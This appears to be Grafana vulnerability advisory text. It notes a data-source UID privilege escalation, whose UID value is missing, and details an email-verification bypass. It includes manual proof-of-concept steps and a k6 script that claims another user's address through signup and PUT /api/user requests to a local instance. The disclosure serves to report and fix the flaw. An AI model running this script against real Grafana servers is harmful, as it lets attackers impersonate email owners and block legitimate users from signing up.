A user with the permissions to create a data source can use Grafana API to create a data source with UID set to . Doing this will grant the user access to read, query, edit and delete all data sources within the organization.

Summary Email validation can easily be bypassed because verifyemailenabled option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in /profile. This can be used to prevent legitimate owner of the email address from signing up.

Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.

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Here user a prevents owner of bar@example.com to signup.

Details I don't know exact location but this is related to PUT /api/user handler.

PoC Bypass email validation: Start a new grafana instance using latest version Sign up with email foo@example. Login to that account. Go to profile and change email to bar@example.com That's it, your using an email you don't own.

Prevent email's owner from signing up: Start a new grafana instance using latest version Sign up with email foo@example. Login to that account. Go to profile and change username (not email) to bar@example.com Signout. Try to sign up with email b@example.com Warning popup "User with same email address already exists"

K6 script (with verifyemailenabled set to false): js import { check, group } from "k6" import http from "k6/http"

export const options = { scenarios: { perVuIter: { executor: 'per-vu-iterations', vus: 1, iterations: 1 } } }

const GRAFANAURL = ENV.GRAFANAURL || "http://localhost:3000"

export default function () { group("create usera with email foo@example.com", () => { const response = http.post(${GRAFANAURL}/api/user/signup/step2, JSON.stringify({ "email": "foo@example.com", "password": "password" }), { headers: { 'Content-Type': "application/json" } })

check(response, { 'status code is 200': (r) => r.status == 200 }) })

group("change usera login to bar@example.com", () => { const response = http.put(${GRAFANAURL}/api/user, JSON.stringify({ "email": "foo@example.com", "login": "bar@example.com", // userb email. }), { headers: { 'Content-Type': "application/json" } })

check(response, { 'status code is 200': (r) => r.status == 200 }) })

http.cookieJar().clear(GRAFANAURL)

group("create userb with email bar@example.com", () => { const response = http.post(${GRAFANAURL}/api/user/signup/step2, JSON.stringify({ "email": "bar@example.com", "username": "bar@example.com", "password": "password" }), { headers: { 'Content-Type': "application/json" } })

check(response, { 'status code is 200': (r) => r.status == 200 // fail }) }) }

Impact Bypass email verification. Prevent legitimate owner from signing up.